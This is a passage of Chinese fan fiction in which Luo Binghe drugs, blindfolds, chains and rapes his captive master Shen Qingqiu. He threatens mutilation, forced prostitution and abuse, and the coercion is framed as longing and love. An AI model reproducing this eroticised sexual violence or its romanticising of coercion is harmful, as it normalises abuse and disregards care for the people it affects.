“不知廉耻!”沈清秋双手被举高,乱蹬的腿脚亦被压下,内部却浑身发虚,林林总总的负面状态叠加,令他除了痛骂出口,一时竟没有别的对抗手段。 不对,他可以。即便是全身被控,他的牙齿依旧锋锐可以撕扯敌人的血肉。 只是在沈清秋咬上洛冰河俯身而来的脖颈后,洛冰河的眸子却惊奇的亮了起来:“原来师尊这么热情,弟子原先还怕伤了您,现在看来您更喜欢暴烈款啊。” “?”沈清秋恶狠狠的将嘴中碎肉与鲜血吐出去,看着洛冰河脖子上的狼吻,满意的点点头:“你再敢低头,本尊必要咬断你这胆敢犯上作乱之人的脖子。” “师尊说得对。”洛冰河的声音带着说不清道不明的笑意,还有些复杂到难以辨认的情绪。额头的血红印记如同熊熊燃烧的烈焰,鲜艳的随时能滴下浓稠血液。 眼前突然被绸带层层捆绑,被控住的手腕被床榻上方垂下的锦缎分散拉开,体内血脉忽然生出灼热的痛感,向小腹聚集。之前的药效本已被身体习惯,现在却重新激发出来,来自于心口的燥热就像是从内部燃起的火焰,一发而不可收拾。 “畜生!”沈清秋手腕被锦缎紧紧捆绑,随着挣扎被磨出殷熏的血迹。这点血根本不算什么,但羞辱意义却远超其他。 视线被剥夺后,其他感官被无限放大。沈清秋吃饭时便已中药,这么久的时间虽然不算强烈,可细细密密的折磨就像是羽毛轻扫般如隔靴搔痒。清欲带来的折磨与单纯的受伤痛苦不可同日而语,沈清秋可以忍受敌人对他施加的刑罚,却没办法压制身体本能的驱动。 生存与繁衍,本就是源于物种的本能,是没办法因任何方式压下的。 洛冰河的手指轻轻描摹着沈清秋的唇形,分辨不出话语中究竟是心满意足还是恶意调笑:“师尊。最后给您一个机会,您若是主动脱衣解带,弟子保证让您心满意足。” “不可能!”沈清秋膝盖抬起,试图通过攻敌所必救拉开与对方的距离。只是右脚被人快速抓住,接着,洛冰河的手指顺着脚踝一点点向上延伸,鸡皮疙瘩瞬间爬满了沈清秋的全身:“放手!” “师尊啊,当初这只脚,将弟子踹下无间深渊。今天还想用这只脚,将弟子再踢走一次吗?” 不算冰冷的声音里,丝毫还带着回忆的恍然。 洛冰河细细摩挲着,像是平日里把玩玉器般摸来摸去。空气中的凉意、身体内部的燥意、洛冰河手指上的冰冷,三种感知交融,令沈清秋突然从心中升起一种恐惧。 这种恐惧中还夹杂着说不清道不明的感觉,哪怕是洛冰河直接将他的双腿砍下,也远比这样要令人安心。 “师尊放心,弟子不会将他撕下来的。”洛冰河的手在对方腿上流连,嘴里开始说些平日里根本不可能让外人知道的某些‘真相’。当然,这些真相,都是别的世界里,曾真真切切发生过的事实: “不过如果师尊实在不听话,弟子也有可能会将您制成不能反抗、不能视物、不能言说的人彘。” “当然,将您收入后宫后。如果您非要惹恼弟子,弟子也可能会放任那些妃子肆意欺侮于您,让您连基本的饭食和取暖的衣衫都没办法保证。” “师尊也别觉得地牢就安全,弟子之前可没有发话让他们折腾您。就像是您之前漠视弟子被欺负一样,弟子也没管那些人对您的欺侮。您猜猜如果弟子发话,您会遭受什么样的人性之恶?” “弟子现在只是将您用绸带捆绑,如果您觉得不适合,弟子身边能抑制灵力的捆仙索、千年寒石打造的锁链,能让人欲罢不能的各种小工具,都能达到让师尊逃不出去的作用。” “还有啊,弟子现在是亲身上阵,若是师尊实在不喜欢弟子,弟子手下的勾栏院其实也很缺人,不知师尊可想去住上几天?” “嗯——那些开展实在太糟糕了,为了保证弟子不考虑那些事情,有件可以弥补的问话,师尊一定要好好回复:师尊这么清正守礼,身子应该是干净的吧?” 洛冰河顺着沈清秋的腿向上游走,隔着衣服揉捏着对方:“弟子曾入过您的记忆,那些女人,师尊应该想让她们活?” “不——”沈清秋拼命躲闪着,只是努力扭转的腰部并不能逃脱对方的魔爪。他是只与那些女人和衣而眠又如何?他根本做不到为了保护其他人的性命,将自己送到其他人床铺上的事情! “不想吗?”洛冰河感受着手心的弹性,饶有兴趣的拍了拍:“是不想让他们活,还是不想让弟子继续?”洛冰河当然知道沈清秋是处的,只是这件事,他想要沈清秋亲口说出来。 无论他是因为惧怕自己杀害其他人,还是用这件事换取利益,洛冰河都想听到。 只是沈清秋什么也没说。不仅什么都没说,还再次尝试着抬起脚将洛冰河踹开。 这就很令人不开心了呢。 洛冰河放弃这个对话,用自己的身体压住对方乱晃的身躯: “师尊,你不回答的话,那就是跟弟子一样喜好眠花宿柳。既然您能接受那些女人,能跟其他人颠鸾倒凤,弟子倒也不怕伤着您了。” 看着对方极力紧闭的双唇,洛冰河轻笑一声,俯身压下。 洛冰河的唇贴在沈清秋单薄的唇瓣旁,认真的研磨。一只手紧紧的控着对方的下颚让他面向自己,一只手撑在床上,防止他的体重压着对方。 红唇柔软而干燥,单薄而寡情,洛冰河极具耐心的磨蹭着、强势又温柔的敲开唇缝,挤进牙关,滑进对方的温热口腔。 当然,沈清秋毫不犹豫的用牙齿狠狠咬着洛冰河敢伸出的唇舌,以低沉的声音怒骂:“畜——”只是他的声音刚发出震动,洛冰河趁沈清秋张口下压的‘张口’的关头,长驱直入,舔舐着对方的舌根。 沈清秋会咬他,这是理所应当的事情。但打人必须要先收回手才能借力,咬人必须先张口才能下压,只要沈清秋‘主动’张口,洛冰河就能借此机会深入龙穴。 洛冰河极有技巧的勾着沈清秋的舌头缠绵,原本抓着下颚的手转到身后,牢牢托着对方的头颅,压制对方想要后仰而逃避的可能。 舌齿之间的追逐就像是鱼儿奔逃,沈清秋在尺寸之地被洛冰河一步步挤压生存空间,酥酥麻麻和僵硬的感觉从舌根升起,连锐利撕咬的牙齿都被酸涩腐蚀。逐渐欠缺的氧气令他有些混沌,即将窒息的恐惧像是坠入深海般将他淹没。 从胸腔发出的声音还没吐出就被撕碎,破裂的语调牵连成丝,变成了伴随着呼吸而散发出的甜蜜喘息。双方的唾液飞速分泌交换,微弱的呜噎颤抖与口水搅在一起被咽下,沈清秋的眼角被逼出水雾与嫣红。 洛冰河终于大发慈悲的放过沈清秋,任由他撕心裂肺的大声咳嗽、大口呼吸。贴心的将原本托着对方头颅的手放在对方后背,轻柔的替对方顺气:“师尊,你若是再惹怒弟子,弟子就不会这么温柔了。” ‘惹怒?’‘温柔?’得到喘息的沈清秋被吻得上气不接下气,完全不能接受洛冰河一边恭恭敬敬喊他‘师尊’,一边胆大妄为的行着犯上之事。 “欺师妄上的畜生!本尊没喝你的敬师茶,别这么喊我!” 洛冰河即使到这种时候还称呼他为‘师尊’,不就是要提醒他现在的阶下囚身份,提示他早该脱下‘仙尊’的皮囊,心甘情愿用自己换取求存? “......” 洛冰河没想到自己的行为会被沈清秋这样误解。尤其是,他看见沈清秋因被他囚禁、无力反抗的愤怒神色,和因清色和缺氧而燃起的红晕脸颊。 这些都‘拜他所赐’。 这些都是他带给对方的。 这一点,实在是令洛冰河体内的鲜血开始涌动,属于魔族的那部分暴虐有些蠢蠢欲动。他想撕碎这个不听话的猎物,更想让对方的身上布满自己的气息。如果沈清秋体内的血液流出,一定是温热又甜美的。 而身为没办法逃脱的‘宠物’,如果学不会讨好主人,就会成为被用来发泄恶意的玩具。 “师尊啊。”洛冰河压下从心口涌出的暴虐,手指狠狠的掐在手心,靠疼痛快速清醒神智。他低下头,亲吻着被绸缎包裹的眼眸:“您即便是没被捂住眼睛,也不会看向弟子呢。” “本尊哪怕自戳双眼,也不想与你这畜生有什么联系!” “......” 洛冰河都没说要剜去对方的眼睛,沈清秋已经做好了自己动手的准备?这人是真的不在乎这些,还是宁可失去一切,也不愿低头看向他? 即便是手握无数失败结局的经验,亲眼看见过无数破碎如抹布、空洞如傀儡的沈清秋,洛冰河依旧没法理智的分析现在情况。 理智上,他知道自己不该怪罪对方——身为一个正常的、喜欢和女人接触的男性,让他雌伏于人,尤其是主动配合敌人压制自己,是件非常难接受、甚至恨不得以命相搏的事情。 但情理上,洛冰河已经一退再退,无数次压抑本性,用最大的柔情去引导沈清秋接受‘他已经是洛冰河的俘虏、老实配合洛冰河才是最佳道路’这个事实。 可沈清秋始终不愿意认清事实,压根不想抬眼正视他,还非要坚定的与他划开界限。 承认他就这么难?他已经走到三界至尊位,为什么还不能让沈清秋觉得骄傲?他只是想获得来自长辈的肯定和关爱,想要拥有一份正常的师徒关系啊。若不是沈清秋非要一副视他为奇耻大辱的样子,洛冰河何必如此? 可以说,他们两个现在这样的关系,完完全全是沈清秋非要将洛冰河推远。而且推远不说,甚至还一直否认他们的过往联系。他就这么不着沈清秋待见,从入门到现在都不愿意接受他? 这个认知,真是,让人愤怒又伤心,只想抓着对方的下颚,让他眼里只能看向自己啊。 哎。洛冰河心累的叹口气。 他不想跟沈清秋闹成老死不相往来的样子,也不愿用其他手段将人打压得眼里只剩死意。可现在的情况是,他除了先强行将人扒开后揽在怀里,里里外外的将人打上自己的标记外,别无他法。 既然如此,那就硬来吧。相信以他的技术,能将对方‘睡’服的。 “师尊,无论您如何否认,弟子与您的牵扯,是不可能断绝的。” 洛冰河重新调整好心态,将人抱在怀里,打算先让沈清秋舒服一点,等他感受到身体的欢愉之后,自然会心软与配合的。 只是—— 沈清秋的言论永远是最锋利的刀刃,与之前极力断绝双方关系更可怕的,是沈清秋从不愿意与他扯上任何联系: “劳资从第一眼就知道你这狗玩意不是什么好东西,早就该一刀剑将你砍杀!” “!” 洛冰河原本还在努力替沈清秋找补,觉得他一定是有苦衷的,只要是个正常男人都不可能接受莫名其妙的来自同性的求爱。他身为先爱上的那个,本来就是要想方设法让对方知道自己的情意,缓慢接受自己才对。 可沈清秋实在是太狠了。 要么就是要跟他彻底断绝关系,要么就是恨不得杀了他,要么就是干脆自杀。就像是一开始,那杯毫不犹豫更是毫不留情的、迎头砸过来的清茶,用极其刚烈的手法将洛冰河心中的火苗彻底浇灭。 一片诚心被这样翻来覆去的踩踏撕扯,即便是理智的弦被绷得极紧,洛冰河脑海中的暴虐与愤恨还是席卷了全部心神—— 沈、清、秋。 你可真是好样的。 永远是哪疼往哪戳。 即便是洛冰河早就知道对方会往他心窝子里插刀,在此刻却还是感受到了浑身冰凉——沈清秋到底是明白少年洛冰河的心思故意打压、还是什么也不知道恰好点出? 洛冰河的记录里有不少的信息,但他毕竟是从结局倒推,并没有亲身经历。而今被沈清秋毫不犹豫的拒绝不说,还如此否认他们的关系。洛冰河的眼神瞬间森冷下去,为对方顺气的手掌向下滑至腰间,捏着沈清秋腰间的软肉: “师尊当真那么想?” 沈清秋只是被人所绑,又被人亲得迷糊,对外界环境的基础感知、危机安全还是能分辨的。他不知道洛冰河为什么突然间变得冷漠,也不懂这畜生为什么执着于和他一夜风流。但对方语气里的威险和表现出来的情况来看,他今天,怕是在劫难逃。 左右都是死,他为什么不骂够了再说? “不知廉耻的东西,本尊早该清理门户,竟让你这畜生活到现在!” “狗娘养的杂种!清静峰有愧于你,苍穹山欠你什么、天下苍生又亏待你什么,竟让你直接劈开仙魔屏障、放魔族侵扰万民?” “修真界对你不好,魔族又是怎么对你贴心贴肺,竟让你替他们征战?” “若说本尊漠视与你,你已放任那些人折辱本尊,现在将阶下囚拎出来充当床奴,下不下贱?” “你说要将本尊制成傀儡人偶,要用更严苛的刑责来惩罚本尊,要让本尊一点朱唇万人尝、一双玉臂千人枕。那么本尊问你,本尊究竟在哪一点得罪了你,非要让本尊碾落成泥不可?” ‘很好、骂的好。’ 即便是洛冰河处在盛怒之中,恨不得将人狠狠压下,听到沈清秋这番鞭挞入理的发问,还是不由得为对方鼓掌。 言辞凌厉而直击要害,沈清秋果然有颗七窍玲珑心。 若不是洛冰河数百次的劈开世界通道,从万万数据海洋中推导,洛冰河也不知道,他对‘沈清秋’的恶意究竟来源于何。 明明洛冰河满心对沈清秋的愤恨,但具体的事情,却说不出五指之数。 而‘沈清秋对洛冰河’的恶劣,‘洛冰河要恨着沈清秋’,只是被天道随意添加的、他们这些被天道当成玩偶之人的,一个‘必须要遵守的设定’罢了。 因为天道的剧本中,‘洛冰河’需要通过对‘沈清秋’的恨意成长。 所以哪怕洛冰河自己也不知道为什么会恨沈清秋,却还是下意识、潜移默化的,去那么做了。 只是因为天道的一句话。 只是因为‘洛冰河’需要仇恨激起奋发的契机。 只是因为,他们从最开始出生的时候,那个所谓的‘人设’。 沈清秋与洛冰河的恩怨纠缠,就持续了数万万的世界。 洛冰河实在是一个贪心的人。 他想要拥有沈清秋的‘爱’。真心的,自愿的,一点也不勉强的那种。 他还是个矛盾的人。 想要沈清秋服软听从,却不想折损对方的傲骨; 想要沈清秋主动听话,却不想灭杀对方坚韧反驳的灵魂; 想要沈清秋安守于自己身边,却不愿拿着绳索将对方五花大绑的束缚。 沈清秋是个满身布满坚硬的刺猬,是流连野外生命力极强、敢于向任何人露出爪牙的野猫,是坚决不允许其他人挑衅、会将弱者放置于自己羽翼的猛虎。 却唯独,不可能成为心甘情愿走入囚牢的金丝雀。 哎。这样的灵魂虽然傲然得令人夸赞,却也令想拥抱他的人无尽头疼。 总不能指望洛冰河像那对奇葩一样,去将自己伪装成小白莲、大白兔吧? 即便是洛冰河想那么做,沈清秋也不会闭上眼睛不去听外界的弱者祈祷。 是的,沈清秋就是那么矛盾。他厌恶弟子是弱者,更不喜身边人蠢笨不争。但当他遇见不平事,遇见力所能及、需要帮助的路人时,却会低下头来,替对方解决麻烦。 所谓‘侠之大者’,正是外表儒雅意、内含菩萨心。 也正因为如此,洛冰河才能在什么也没有的情况下,随便用一盏灯、一顿饭,就能将人骗上自己的贼船。 只是,那又如何? 即便是洛冰河知道这一切,并不影响洛冰河依旧觉得愤怒。凭什么其他人能得到,他却不能?凭什么那些人做的比自己过火多了,他还要被沈清秋这样嫌弃? 他想要拥有沈清秋对他独一无二的关注与爱意。 可这些是有前提的。 如果沈清秋注定要被武力驯服,他又怎会放任对方就这样离开自己身边? “师尊,骂的挺爽啊?”洛冰河看着对方牙尖嘴利的样子,恨恨的磨了磨牙根: “看您的样子,应该是恢复的差不多了。” 说着,洛冰河直接欺身压上,尽可能轻柔的一点点为对方解开衣衫:“您也不是没经历过风月的人,那么弟子也无需跟您说什么甜言蜜语,直接干正事就行。” “滚开!”“放开!”“把你的爪子移开!” 沈清秋虽骂得爽快,却一点也不希望时间向后延续,只是他早就底牌尽出,一时半刻毫无还手之力。 “师尊。”洛冰河看着被他困在怀里、一层层扒开、无力反抗的人,终于感受到一丝满意。他的尊重是有前提的,他的柔情蜜语是有代价的,他之前所容忍的沈清秋各种挑衅,更是需要对方用其他方式回报的。 现在,这只桀骜不驯的野猫失去所有抗拒手段,更是被他扒开所有外部伪装和皮毛,仅剩下最后一层浅薄到能看见本身皮肤的纯白内衬。 洛冰河的手指隔着衣物在沈清秋背后滑过,顺着腰腹转至身前。俯下身,呼吸喷洒在对方尽可能拉远的侧脸,尖锐的虎牙研磨着沈清秋的耳垂:“弟子再给您个选择。” 感受着对方颤抖的身躯,洛冰河抬头,对着那张苍白的脸勾起阳光灿烂的笑容:“您配合一点,弟子就让您舒服一点;您剧烈反抗,弟子就猛烈一些。” 说着,放在对方胸膛的手指抬起,温柔的画着圈:“不知您喜欢温柔小意的,还是凶猛如狼呢?” 手指若即若离,短瞬即逝,冰冷凉薄的指尖穿过内衬的遮挡传递着凉意。出其不意的接触,比用温暖的掌心一直按压摩擦要更刺激,本就中毒许久的身体远比口舌拥有更快、更诚实的反应。 沈清秋脸上难以压抑的露出春意,却又咬着牙、带着喘谩骂出口:“本尊希望你去死!” “回答错误。”洛冰河手心贴在沈清秋胸膛,有一下没一下的挑拨着。看着沈清秋紧紧闭上的双眼,和被死死咬住的薄唇,手掌突然收回,从一旁取出一枚丹药。 沈清秋原本还在努力忍耐,胸口却猛地被掐了一下。来不及抽冷气,下颚便被人掐着,嘴唇被人强制打开,喂入了一颗药。 38.冰有实力去帮助九,只是想要九露出心扉,太难了 第八章如果恨不能让你清醒,理想呢 洛冰河将人翻过来,手指穿过沈清秋后脑勺的乌发,紧紧抓着发根,将人拉起来。对着沈清秋的耳边轻轻吹口气:“师尊,你若是喊出来,弟子会让你舒服些。” 头发长的应该都有经验,头发被旁人抓住的感觉从来都不好,只是在抓发尾和发根之间选择,还是发根的疼痛程度要低一些。 但现在的沈清秋不会关注到这种细节,他只知道自己被人强行拽着头发拉起,令他下意识抗拒:“不……可……” ‘能’字还未说出,洛冰河直接含住了沈清秋的耳垂。含混不清的声音顺着骨骼传入脑海,喷洒的热气令沈清秋半边脸都升起僵硬冰凉之感。 洛冰河说了什么? 沈清秋的意识已经有些混沌。 支离破碎的疼痛使他大脑有些空白,身子极度敏感。虽说他应该很‘清醒’,但人对于痛苦绝望的负面承受程度是有限的。一旦超过那个界限,越是清醒理智的人,就越容易崩溃。 洛冰河不知究竟找了什么药物,原本沈清秋对疼痛的忍耐度极高,即便是满身伤口,也不耽误他继续与人对战。 现在却不同,他能清楚感知到洛冰河略凉的手指在他脊骨游走,不知名的痒意与指纹的摩擦交错,极其清明的反馈到沈清秋大脑。 洛冰河不仅强势占有了他,还让他极度敏感的同时,脑海中还能清晰的感受到身躯所有细微的反馈。 洛冰河的一举一动、所有操作,都如同有人扒开沈清秋的眼皮、凑在他耳边诉说一般,让沈清秋以最具体、最全面的角度,切身感受。 手脚被束缚,冰凉的触感与坚硬的质感、外加叮铃作响的声音,应该是被带上了锁链。 温热的鼻息吹拂在自己面庞,虽被绑上黑布却依旧遮挡不住对方极具侵略性的视线,卡在腰间和他咽喉的手虽然动作轻柔,却给人一种随时要将他吞吃入腹的窥伺感。 对方暂停了对他的欺压,转而给他喂了些什么液体。滋味是清甜的、质地是清透的,像是山泉水,也可能是另一种什么不知名效的药。 随着液体从咽喉滑入食管,沈清秋的精神略微收拢了一些。随着理智一点点回归,洛冰河的声音开始清楚的进入耳窝。 “师尊,果然还是此刻的你最可爱。” 洛冰河轻柔的为对方擦去嘴角的水滴,接着小心翼翼的吻上去:“弟子最爱看师尊这我见犹怜的样子,不如师尊穿上嫁衣,我们办个婚礼,让全天下为我们送上祝福。” “要不然这么没名没分的,弟子总不能让师尊像不着家的野猫一样,随随便便被什么人拐走了。” ??? 嫁衣?野猫? 洛冰河究竟在说什么东西? 洛冰河的目的,是想让沈清秋认清楚自己的‘玩物’地位吗? 在他精神沉寂的时刻将他唤醒;在他尚有一战之力的情况下制住他;又在他极度清醒的时候,让他深刻感受到洛冰河施加给他的‘痛’。 这种痛与普通的疼不同,身体上的伤口随便用药物就能愈合,可心理上的缺失与伤痕连时间都不是良药。 伏本就是折辱,让一个人趴在床上被另一个人强压,清醒的感受着因无力反抗而被人反复抽搐的疼痛。感知自己的形势下位,感受他人近乎凌辱的生理恶意。 这种被野兽觊觎、被黑暗窥勘、被世道的不公无情碾压,即便是杀了对方也难以平息的愤怒,将会在无数个午夜梦回,成为将人深困的梦魇。 这种从心智上泯灭敌人心性的做法,哪怕闭上眼睛也无法隔绝的行为,即便他成功逃离也没法真正走出的绝望。当真不愧是洛冰河。 “师尊不是知道吗?”洛冰河猛的发力,用猛烈的动作将沈清秋即将涣散的神志唤回现实: “您越怕什么,敌人就会用什么威胁于您。所以君子要将喜好深藏,不给人留下拿捏的余地。” 洛冰河的手掌狠狠掐住沈清秋的细腰,如波涛汹涌,拍击着沿岸:“您亲自教的弟子,怎么自己却将厌恶与恐惧展现?” “您若是对这事更平淡,或者配合一些。”魔鬼的声音在沈清秋耳边引诱道: “弟子不仅会让您更舒服,还会很快失去对您的兴致,早早放您脱离苦海。” 何为‘威逼利诱’? 简单的套路沈清秋根本不可能上当,正大光明的明谋才能让他避无可避。 我要你与我和欢,否则我会弄死你在乎的人。 这是威逼。 先随便找个长明灯吸引对方注意力,在对方付出一点点‘代价’后将东西递出去,让他尝个甜头。 这是利诱。 威胁对方不要乱动,否则就号召众人,大庭广众之下、空旷田野之中上演春色。 这是威逼。 小心翼翼的将对方抱起,将要害展示在对方面前,极其正经的带对方回到封闭地区,继续以言辞与对方谈条件。 这是利诱。 以对方最不能容忍之事反复试探,在对方理智与迷茫中来回跳转,激发沈清秋对自己的恨意,以确保沈清秋不会沦为丧失灵魂的行尸走肉。 这是威逼。 忽悠对方配合,种下‘你若泯于众人,就能逃离苦海’的希冀,又刻意使对方神志清明,放任沈清秋激发骨子里的厌恶,回想曾经的光辉,继而遵循本性、蛰伏对抗。 这是利诱。 如此一整套流程,沈清秋既避无可避的落入洛冰河手中,又清楚记得洛冰河对他所犯下的‘恶’。 若说之前沈清秋只是基于‘不能死、他的死亡会带动一群人跟着他死’而存活,现在就是‘必须活’才能筹谋复仇。 理智上,他想要沈清秋服软听从,却不想折损对方的傲骨。 实际中,他确实不想折辱沈清秋,却也没办法退步到远离沈清秋。或者说,他可以后退,但沈清秋必须在自己身边。 情理上,他想要沈清秋主动听话,却不想灭杀对方坚韧反驳的灵魂。所以他可以容忍沈清秋作死,但——沈清秋不能真死。 尤其是,沈清秋已经抱着‘以死亡换终结’的心思,之后就会一直为这个目标努力。只要洛冰河稍有延迟,沈清秋就会不停尝试自裁的可能。 其中无论沈清秋能不能得偿所愿,受到疼痛、献祭血脉灵魂,都是必不可少的流程。虽也可以考虑从这个方面让沈清秋向死而生,但这其中的波折,实在是……令洛冰河想想就头疼。 既然如此,还不如想方设法让沈清秋仇恨他更好。起码在防着对方刺杀和防着对方自杀之间,刺杀受伤的是洛冰河(摊手)。 而且…… 为了杀他而研究贴近他,为了杀死他而刻意亲近他,为了弄死他而向他提出要求…… 怎么不算关注他?! 这绝对是,这就是!(嘶喊) 为了尽可能快速的完成‘答题过程’。洛冰河谨慎拿捏着情与仇恨的尺度,为避免沈清秋因欲而毁掉灵智,早早就给他喂下明心丹。 沈清秋以为自己吃的是让他更加痛苦或拉着他沉沦的毒,殊不知——这样的‘清醒’,比世间所有毒,更可怕。 当然,洛冰河也清楚的明白。 与闭上眼睛沉沦相比,沈清秋更情愿睁着眼睛感知,牢牢的将洛冰河赠予他的一切刻在心里,噙着对他的恨意,在沼泽里艰难挣扎。 只要还有恨,就有想报复回来的源头。只要沈清秋还想报复他,想杀死他,沈清秋就有了存活意义。 这个世界并不美好。但人总是要为点什么而活的。 就像史铁生在《命若琴弦》里写的:那时有个东西把心弦扯紧,虽然那东西原是虚设……,永远去扯动那生命的琴弦,永远不必去看那无纸白字的绝望。 只要那根弦依旧被紧绷;只要绝望之中还存在强烈的情感;只要心中依旧有不甘与怨恨。 沈清秋就不会放弃对‘洛冰河’的复仇,更不会想着受到这样的折辱后一死了之。 像他们这样睚眦必报的人,只要还活着,就不会放弃对敌人的报复。同样,只要放不下对敌人的愤恨,就会拼尽全力活着。 他们这些泥潭里开出来的花朵,根系牢牢的扎在淤泥之中,即便是罪恶之花艳丽异常,也不可能如所表现出的那般淡然优雅。 沈清秋说他一眼就知道洛冰河不是什么好东西。 巧了,洛冰河也清楚的知道沈清秋跟自己一样,是个绝对会将仇恨牢牢记在心里,脸上挂着平淡端方(温柔乖巧)的笑容,在找到对方的破绽之后,狠狠的将尖刀插在对方要害,一招毙命、毫不留情。 而这一点,就让洛冰河抓住之后反向利用——就像是敌人打过来的鞭子,被打中固然疼的厉害,可若是用手心抓住,又如何不能通过这根带刺的绳子,将对方一举揽在怀中? 爱恨交织,情仇难判。 恨意远比爱要更深远、更持久。 沈清秋,你可以不爱我,但不能不恨我。 只要你还恨着我,就不会思考‘早些离世’的念头,也不会因世间再无锚点而成为漂泊不定的孤魂。 若非投置过关注,又怎会心生期待?若非心中有假设,又怎会因求而不得发出怨恨? 若非愿望得不到满足、恨意不曾被发泄,那些不敢被世人所知的阴暗被深深堆在心门深处,尖叫着、扭曲着、狂躁着。如同腐烂却结痂的烂肉,即便看起来完好无损,内里却不知生出多少蛆虫。 “滚……” 沈清秋重重的喘息。疼痛使他大汗淋漓,洛冰河的话语和过于清醒的精神又令他忍不住在头脑开始分析。他是真的疼,也是真的恨,恨当初的自己为什么要将这样的玩意留在身边,又为什么不在一开始就选择直接弄死对方。 若有人问沈清秋究竟会不会后悔这一切—— 沈清秋确实后悔。 悔在当年没有一剑杀了他。 悔在当初不该心软、放虎归山。 悔在再次看见对方的时候,居然让他回清静峰养了几年的伤。 沈清秋快速吸气后匀一下喘息,吐出他自从到地牢后就一直萦绕于脑中的真心实意:“我宁可从未教过你。” 若非他与柳清歌斗嘴,就不会收下洛冰河。若非他的教导,洛冰河可能根本走不到三界至尊的位置。若非他一时心软将天魔放虎归山,天下就不会被倾覆。 甚至说,如果他不曾将恶意清洒于洛冰河身上,即便是真教出一个叛出师门的魔头,沈清秋也不会如此痛苦。 一生一次的义气被人辜负,唯一一次明确展现恶意被人用苍生陪葬。 天魔出世,生灵涂炭。洛冰河为一己之私将三界全部拉入战场,放任魔族在修真界杀伤抢掠,无数哭喊着的人命化为大能们扬名立万的垫脚石。 他于乱世之中谱写君王路,却将三界搅得一塌糊涂。 洛冰河的黑化灭世,确确实实是沈清秋先种下恶的种子,修真界你死我活、残忍争夺的环境迅速将其催生成熟,最后洛冰河在沈清秋眼皮子底下开出罪的花。 是沈清秋拿着错误的剧本、亲自培养出拥有征战天下之力的天魔,更是沈清秋亲手将暴露了血脉、本该早早被修真界处决的天魔放走。 洛冰河黑化后毁天灭地,沈清秋就是背后的操刀者。洛冰河残忍狂暴的清除不满声音,沈清秋就是为其递武器的——共犯。 作为赠予杀人者武器、教导灭世者知识,却没有引导他到正确道路的‘先师’,远比所有人的过错都严重。 “师尊?” 洛冰河听见沈清秋的话语,先是被对方的绝情冻结了一下,接着又生出庆幸来。沈清秋这么说,是不是已经开始如他所想的,将仇恨转移到自己身上了? 虽说这个结果是洛冰河希望出现的,但还是心中抽痛了一下: 沈清秋是真的不喜欢洛冰河,从一开始到现在。现在连最基础的教导都被他否认,若是可以重来,怕是沈清秋恨不得从不曾遇见、甚至会在一开始就远离洛冰河吧。 这个认知真是可怕的令人心寒啊。 洛冰河将人抱的更紧一些,用对方的体温暖一下被冷到的小心脏。所谓‘食髓知味’,感受着对方体内的温暖,洛冰河打算让怀中人更‘听话’些:“这是您今天第二次跟弟子划清关系。弟子很伤心,所以要惩罚您。” 红烛昏罗帐中,洛冰河所说的‘惩罚’,必定不是地牢刑狱中的手段。他的物件还留在自己身上,所以这个惩罚,怎么看都带着其他颜色。 眼前的黑色锦缎被取下,沈清秋终于能打量现在的自己。 手腕上缠着厚实的布锦,牢牢卡着千年寒铁打造的锁链。洛冰河那句‘弟子身边能抑制灵力的捆仙索、千年寒石打造的锁链,让人欲罢不能的各种小工具’,想来是早就备好了。 那么,那句‘制成不能反抗、不能视物、不能言说的人彘’,可信程度也不会低。 沈清秋垂下眼帘:也不知是被制成人彘可怕,还是收成玩物可怜。 这是一具被人肆意摆弄的躯体。 沈清秋给自己下定义。 眼被蒙着的时候,虽然能感受彻骨的疼痛,可总归不如亲眼见到震撼。 今夜过后,他会去死。但死之前,他又真的想先弄死对方。若非他手中没有制衡的能力和手段,绝不会放任洛冰河如此胡作非为。 洛冰河将他的神志逼出来,又是喂药,又是撩拨,说些分不清道不明的混账话,不就是想让他认错或求饶,最后安心成为床奴,被他当成泄恨工具吗? 可沈清秋为什么要如对方的意,用其他人的命或那些虚无缥缈的东西,让他来承受这些没有任何用处的仇恨和折辱?就像是他一直想问的,他到底怎么对不起洛冰河,需要他赔命还不够,还非要将他当成床奴和泄恨玩具,连死亡都不被允许? 你们小辈的事情自己解决不了,沈清秋一个当师尊的,难不成还指望他教了理论和武艺,平日里还要无微不至的关心弟子间的生活关系?不是你没毛病吧?这种程度都呆不下去,你跑出来修什么仙啊? 清静峰已经是几大峰中还算平和的,毕竟大家都是讲究君子之仪的体面人。洛冰河要是真拜入百战峰,白日里的练武要被暴揍,下午的杂事也都会自然的堆给他,夜间的饭菜和通铺都不一定有人替他留位—— 难道这才符合他的习惯爱好? 另外洛冰河一直觉得沈清秋不愿意认可他。 拜托,你在学术界对我毫无威胁,可是你在教育界让我身败名裂啊! 你自己干了什么自己心里没点数?三界苍生因为你而灭亡,整个世界被你快玩成崩溃,甚至你自己还对自己的师尊,也就是沈清秋本人有点想法。 沈清秋没打死你,都算他心慈手软好吧?! 他都已经这样了,洛冰河都搞成这样了,他还想让他怎么样? “师尊,可满意弟子的答卷?”洛冰河解开绑着沈清秋眼睛的锦缎,将对方的脸扭过来。虽然这样会抽出一部分,但能看见对方的脸,比什么都合适。 “答卷?”沈清秋下意识重复一遍,不明白洛冰河这狗杂种究竟在做什么试题。感觉到身体突然的异常,很好,看得出来,这畜生果然不是人。那么他所说的‘答卷’,必然不是什么正经东西。 沈清秋还没来得及说什么,洛冰河的话语已经伴随着体内液体极为哀怨的响起: “师尊,您得承认,您对弟子可一点都不好呢。” ‘劳资是得承认无时无刻不在想着怎么弄死你!’沈清秋压抑着灼热,十分希望现在就弄死对方——他的小腹都有些鼓起,实在是遭受不住。 看着沈清秋只颤抖不回答,洛冰河抓住对方的手臂,进一步确定道: “所以您是默认了?那弟子将您丢到地牢、打算向您讨回时,您就那么等着?” “我就该……”沈清秋被强行转过来,摩擦令沈清秋发出一声极快的闷哼,喘匀气后冲着洛冰河咬牙道:“当时一剑杀了你。” “弟子还以为您会后悔,知道对弟子不好,所以要想方设法弥补。怎么还执意要杀弟子这个无辜可怜人?” ‘无辜个屁!’沈清秋下意识在心里怒骂一句,强行压下源于骨髓和生理性的颤抖,从嗓子里压出声来:“天魔现世,天下必乱。” 沈清秋脸上全是疼痛流下的冷汗,抓着洛冰河胳膊的指甲深深嵌入其间,要将痛苦一同转移给对方。如果洛冰河单纯报复他,其实这些都不算什么。无非是牵扯他一人,便是身躯再痛苦难忍,也不算真的无法挽救。 只是——他千不该万不该,灭杀那么多真正无辜、甚至原本正好好生活着、莫名其妙卷入战火之中,化为森森白骨的天下苍生。 